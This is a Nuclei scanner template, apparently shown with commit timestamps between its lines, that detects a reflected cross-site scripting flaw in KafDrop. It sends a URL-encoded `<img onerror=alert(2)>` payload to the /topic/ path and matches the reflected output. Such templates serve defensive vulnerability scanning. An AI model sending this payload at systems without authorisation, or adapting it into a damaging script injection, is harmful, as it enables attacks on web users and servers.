2021-05-05 18:21:53 +00:00
id : kafdrop-xss
info :
2022-05-13 17:22:26 +00:00
name : KafDrop - Cross-Site Scripting
2021-05-05 18:21:53 +00:00
author : dhiyaneshDk
2021-05-07 09:26:40 +00:00
severity : medium
2022-05-13 17:22:26 +00:00
description : A vulnerability in KafDrop allows remote unauthenticated attackers to inject arbitrary HTML and/or JavaScript into the response returned by the server.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/HomeAdvisor/Kafdrop/issues/12
tags : kafdrop,xss
2021-05-05 18:21:53 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/topic/e'%22%3E%3Cimg%20src=x%20onerror=alert(2)%3E"
2021-05-07 09:26:40 +00:00
2021-05-05 18:21:53 +00:00
matchers-condition : and
matchers :
- type : word
words :
- 'Kafdrop'
- '<img src=x onerror=alert(2)>'
part : body
2021-05-07 09:26:40 +00:00
condition : and
2021-05-05 18:21:53 +00:00
- type : status
status :
- 500